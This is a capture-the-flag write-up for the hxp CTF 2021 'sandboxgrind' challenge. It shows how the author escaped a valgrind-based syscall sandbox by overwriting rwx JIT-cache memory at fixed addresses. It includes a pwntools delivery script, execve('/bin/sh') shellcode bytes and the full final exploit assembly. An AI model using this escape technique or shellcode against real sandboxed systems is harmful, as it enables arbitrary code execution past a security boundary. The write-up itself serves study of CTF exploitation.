• Event: hxp CTF 2021
  • Category: pwn
  • Solves: 32
  • Points: 244

Overview

The challenge files can be downloaded from here. This was a sandbox written with the help of valgrind - it’s written as a valgrind tool and run with

/sandboxgrind/bin/valgrind --vgdb=no --quiet --tool=sandboxgrind ${BINARY} 2>&${OUT}

The file Makefile.am was totally not important and will be skipped here. sandboxgrind.c was a little bit important, it says that all syscalls are blocked. What’s the most important - valgrind is not a sandbox tool, it’s purpose is dynamic analysis of a binary.

Understanding valgrind

I was reading something that valgrind uses JIT to do the emulation, the first step was to check out more closely how it works. My first idea was to attach gdb to check if there are some rwx mappings.

To attach gdb to a process inside a docker add to Dockerfile following lines for root user:

RUN apt -y install gdb gdbserver
RUN apt -y install procps

Inside the docker container do gdbserver localhost:2001 --attach PID.
On host do target remote localhost:2001. Also add --privileged and -p 2001:2001 flags to docker run command.

Here is a script that is responsible just for compiling and sending our code in sh.asm file:

from pwn import *
from os import system

r = remote ("localhost",9001)
#r = remote("168.119.235.55",9001)

system("nasm sh.asm -felf64")
system("ld -s -o sh sh.o")

print(r.recvuntil(", end with EOF\n"))
os.system("base64 sh > sh64")
b = read("sh64").decode("utf-8")
r.sendline(b)

r.interactive()

For the beginning I sent just an infinite loop, sh.asm file looks this way:

bits 64
global    _start
section   .text
_start:

jmp $

It turned out that there are rwx regions and almost every mapping is loaded onto the same address at every run:

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/tmp.JMDzf9HfCqe68kuGPvYTZ66alZkCtEUusV (deleted)
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/tmp.JMDzf9HfCqe68kuGPvYTZ66alZkCtEUusV (deleted)
0x0000000004000000 0x0000000004001000 0x0000000000000000 rwx 
0x0000000058000000 0x0000000058001000 0x0000000000000000 r-- /sandboxgrind/libexec/valgrind/sandboxgrind-amd64-linux
0x0000000058001000 0x000000005819b000 0x0000000000001000 r-x /sandboxgrind/libexec/valgrind/sandboxgrind-amd64-linux
0x000000005819b000 0x0000000058230000 0x000000000019b000 r-- /sandboxgrind/libexec/valgrind/sandboxgrind-amd64-linux
0x0000000058231000 0x0000000058236000 0x0000000000230000 rw- /sandboxgrind/libexec/valgrind/sandboxgrind-amd64-linux
0x0000000058236000 0x0000000058c29000 0x0000000000000000 rw- [heap]
0x0000001002001000 0x00000010026bc000 0x0000000000000000 rwx 
0x000000100277c000 0x000000100297c000 0x0000000000000000 rwx 
0x000000100297c000 0x000000100297e000 0x0000000000000000 --- 
0x000000100297e000 0x0000001002a7e000 0x0000000000000000 rwx 
0x0000001002a7e000 0x0000001002a80000 0x0000000000000000 --- 
0x0000001002b71000 0x0000001003af1000 0x0000000000000000 rwx 
0x0000001ffefff000 0x0000001fff001000 0x0000000000000000 rwx 
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]

Also our JITed code is loaded always in exactly the same addres. This is just our infinite loop:

gef  x/6i 0x1002d9d000
   0x1002d9d000:	dec    DWORD PTR [rbp+0x8]
=> 0x1002d9d003:	jns    0x1002d9d008
   0x1002d9d005:	jmp    QWORD PTR [rbp+0x0]
   0x1002d9d008:	mov    r11,0x401000
   0x1002d9d00f:	mov    QWORD PTR [rbp+0xb8],r11
   0x1002d9d016:	jmp    0x1002d9d000

Exploitation

At this point I started trying random things like overwriting memory of the process. I didn’t find any interesting pointers in valgrind that could give easy win but I discovered that it is possible to write to various regions, for example to the place where our JITed code is located, and to others rwx regions. Unfortunately it’s not possible to simply jmp to the address we wish because this is blocked.

So the idea was to copy our shellcode to the place where JITed code starts - 0x1002d9d000, and do jmp _start.

bits 64
global    _start
section   .text
_start:

mov rsi, shellcode
mov rdi, 0x1002d9d000
mov rcx, 37
rep movsb

jmp _start

section   .data
shellcode:  db 72,184,1,1,1,1,1,1,1,1,80,72,184,46,99,104,111,46,114,105,1,72,49,4,36,72,137,231,49,210,49,246,106,59,88,15,5

The shellcode was copied succesfully but this exploit didn’t work because jmp _start was not JITed to jmp 0x1002d9d000 like in the first example, but to 0x1002d9d34b: jmp 0x1002d9d098 :(.
Maybe some optimalization or some other strange stuff.

But when I tried to copy the shellcode to 0x1002d9d098, it also didn’t work, I got such an error:

==13== 
==13== Process terminating with default action of signal 4 (SIGILL): dumping core
==13==  Illegal operand at address 0x1002D9D098
==13==    at 0x401019: ??? (in /tmp/tmp.r00rA6FJaXTj83WFngvPpffs5SeWTaQDfo)

I was doing some tests with different addresses, and sometimes I was getting the same error and sometimes my buff that I copied was overwritten again by JIT to a proper code. Only copying to 0x1002d9d000 worked.

I started to look how JITed code looks like. Basically copying code after JITing is huuuuge. And this is how it looks after my simplifications:

asm_code1:
some assembly code
jmp asm_code2
ud2
ud2
ud2
ud2
asm_code2:
some assembly code
jmp asm_code3
ud2
ud2
ud2
ud2
asm_code3:
some assembly code
jmp asm_code4
...

And every part of asm code has a call, or several calls to the place in a different mapping

0x1002d9d1fd:	movabs r11,0x580410ce
0x1002d9d207:	call   r11

Probably there are some checks that destroy my plans.

So finally, my last idea that actually worked, was to copy the shellcode to the beginning of our mapping (0x1002d9d000) and also to overwrite only 5 bytes somewhere to jmp to 0x1002d9d000. But this place that we overwrite must be right after JITed code that overwrites it - so that a function throwing errors won’t be executed. But how to find that address? For now, let’s add following code (after the code copying shellcode) and attach gdb:

mov rax, 0x1002d9d000
mov rbx, 0xDEADDEAD
mov [rax],rbx

jmp $  

In gdb we see:

   0x1002d9d2be:	add    BYTE PTR [rax],al
   0x1002d9d2c0:	dec    DWORD PTR [rbp+0x8]
   0x1002d9d2c3:	jns    0x1002d9d2c8
   0x1002d9d2c5:	jmp    QWORD PTR [rbp+0x0]
   0x1002d9d2c8:	movabs r10,0x1002d9d000
   0x1002d9d2d2:	mov    QWORD PTR [rbp+0x10],r10
   0x1002d9d2d6:	movabs r10,0xdeaddead
   0x1002d9d2e0:	mov    QWORD PTR [rbp+0x28],r10
   0x1002d9d2e4:	mov    QWORD PTR [rbp+0xb8],0x40102f
   0x1002d9d2ef:	movabs r10,0x1002d9d000
   0x1002d9d2f9:	movabs r9,0xdeaddead
   0x1002d9d303:	mov    QWORD PTR [r10],r9 ; <- here is this overwrite
   0x1002d9d306:	mov    r11,0x401032
   0x1002d9d30d:	mov    QWORD PTR [rbp+0xb8],r11
   0x1002d9d314:	jmp    0x1002d9d328

So we can now change mov rax, 0x1002d9d000 to mov rax, 0x1002d9d306 and 0xDEADDEAD to the:

In [3]: asm ("jmp $-0x306")
Out[3]: b'\xe9\xf5\xfc\xff\xff'

This is a change of only 2 numbers so our code will compile the same way and addresses will stay the same.

Here is the final code:

bits 64
global    _start
section   .text
_start:

mov rsi, shellcode
mov rdi, 0x1002d9d000
mov rcx, 37
rep movsb

mov rax, 0x1002d9d306
mov rbx, 0x000000fffffcf5e9 ; jmp 0x1002d9d000
mov [rax],rbx

jmp $

section   .data
shellcode:  db 72,184,1,1,1,1,1,1,1,1,80,72,184,46,99,104,111,46,114,105,1,72,49,4,36,72,137,231,49,210,49,246,106,59,88,15,5

Finally I got the flag and I wonder how other people solved it because probably there are a lot of ways of doing it.